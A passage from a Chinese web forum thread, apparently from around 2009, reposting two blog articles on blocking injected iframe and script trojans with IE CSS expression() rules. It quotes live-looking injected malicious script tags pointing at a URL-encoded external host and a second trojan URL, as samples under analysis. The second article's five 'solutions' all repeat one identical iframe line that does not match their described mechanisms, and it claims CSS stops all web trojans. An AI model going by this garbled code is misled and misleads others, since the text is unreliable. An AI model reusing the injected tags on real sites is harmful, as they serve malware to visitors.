|
主题:一行代码解决iframe挂马 [收藏主题] | 转到: |
相信大多数朋友都是iframe木马的受害者,有朋友的网站被注入了n回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。接近年关,为了防止更多的朋友受到攻击,于是细细说下。 灵儿曾经在经典论坛上发过贴子:《一行代码解决网站防挂IFRAME木马方案》,有不少朋友都联系了灵儿,有的表示感谢,不过更多的是疑问了,今天把原理细细地讲一下吧: IE Only——一般只有IE害怕iframe这样的挂马,所以灵儿就拿IE开刀。 在阅读本文之前,我们先了解一下expression; IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和JavaScript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段JavaScript表达式,CSS属性的值等于Javascript表达式执行的结果。在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。 很多朋友都知道CSS可以直接描述一个可视标记的外观。例如:p{color:red} 则网页里所有p标记里的文字颜色都会变成红色;iframe不也是一个标记吗?开始跟灵儿写代码吧,呵呵: 仔细想想要防止iframe里的东东被下载的最好办法是什么?核心来了,那就是切断iframe里的请求,切断请求就是要迅速销毁iframe对象。如何实现呢,上面不是介绍了expression吗?expression是可以执行JS脚本的哈。语法格式如下二种: 标记固有的CSS属性名:expression(JS表达式); 在这里我们选择第二种,代码应该大致是这样 iframe{v:expression(JS表达式);} 接下来的问题是如何销毁网页里所有的iframe对象;使用JS实现的原理是这样的:使iframe里的请求地址变成空白页(about:blank),再将iframe对象从DOM(文档对象模型)中移除就可以切断所有iframe里的请求了。移除DOM节点的方法比较多,我这里就用 outerHTML这个属性吧。CSS代码如下: iframe{v:expression(this.src='about:blank',this.outerHTML='');} 说明:前面的v字是灵儿自己定义的一个CSS属性,这里的this代表所有将要描述外观的iframe对象,中间的逗号代表二句代码一起执行,没有执行优先顺序,这可是强有力的保证噢。about:blank代表空白页,大家都知道的。outerHTML属性是DOM对象包含自身的HTML代码,而innerHTML则是DOM对象(不含本身)里面所包含的HTML代码。 爽快,代码写好了,就让我信来测试一下有没有效果。 首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句): <style type="text/css"> 然后在这个页面插入几个IFRAME代码,假设它们是被挂的木马网页。代码如下: <iframe src="http://www.baidu.com"></iframe> 百度 保存为noiframe.htm,打开浏览器测试一下(本地测试需要启用顶部禁用的脚本的提示条哦)。我这里使用抓包工具来测试,不过也没有必要使用抓包工具,一个最简单有效的方法是打开IE的缓存文件夹,先清空它,再刷新这个页面,看看缓存文件夹里有没有这三个网站里的文件。如果没有,说明没有任何请求结果被返回——测试结果是令人满意的,我的脸上有些微笑 ^^*,这时同事递给我一块饼,蛮好吃的。 提示:Windows XP SP2的缓存文件夹位置 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files 细心的朋友发现问题来了,如果我自己的网页里要使用iframe这个东东怎么办? 答:如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个 #f126{v:expression() !important} <iframe id="f126" name="f126" src="http://www.126.com/"></iframe> 就OK了。 提示:IE7中优先执行标注有“!important”描述的样式,IE6不认识!important,采用就近原则,所以IE6的这个代码放在CSS的最后就可以了。 这里的f126,有很多朋友有疑问,他们问我为什么取"f126",我这样回答——这个f126是随意取的,只要下面的iframe里的ID属性和CSS里的一致就行了。同事又要递一块饼我吃,我说饱了哈..嘻嘻.. 当然挂马者可以构造这样的代码: <iframe style="v:expression() !important" src="URL"></iframe> 使我的防御方式失效,不过它得特意去看我的CSS代码里iframe里的前缀v,如果我的v是变化的呢,哈哈,是不是也不管用呢! 小结: 应用实例:http://www.cncert.net 以此代码配合MD5(hash)校验,非常完美的防挂马解决方案; 经典论坛交流: 本文链接:http://www.blueidea.com/tech/web/2008/5574.asp
http://hi.baidu.com/shixt/blog/item/fefeabc33decb853b219a8c8.html |
|
支持(0) | 反对(0) 顶端 底部 |
somewindows 发表于:2009/9/18 16:07:00 | 只看该作者 查看该作者主题
沙发
|
|
支持(0) | 反对(0) 顶端 底部 |
支持(0) | 反对(0) 顶端 底部 |
支持(0) | 反对(0) 顶端 底部 |
pig99099163 发表于:2009/9/16 10:32:00 | 只看该作者 查看该作者主题
报纸
|
|
支持(0) | 反对(0) 顶端 底部 |
二行代码解决全部网页木马
还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。 前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了: 注意,以下地址含有木马,请不要轻易访问: <script src=http://%76%63%63%64%2E%63%6E></script> 汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了: document.write("<div style='display:none'>") 又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢! ... 针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么: <script src=http://%76%63%63%64%2E%63%6E></script> 对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。 来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈: 解决方案1: iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/ 原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。 缺点:访客无法看到被感染了<script>木马的页面。 解决方案2: iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} 原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。 解决方案3: iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。 解决方案4: iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} 原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。 解决方案5: iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} 第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 其中1.js是自己本站的: document.write("我是本站的JS文件"); 我的测试环境是: Windows XP SP2 和windows Vista SP1 综上所述,所有目前的挂马方式全都***了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。 大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。 经典论坛交流: |
|
支持(0) | 反对(0) 顶端 底部 |
<上一主题 | 下一主题 > |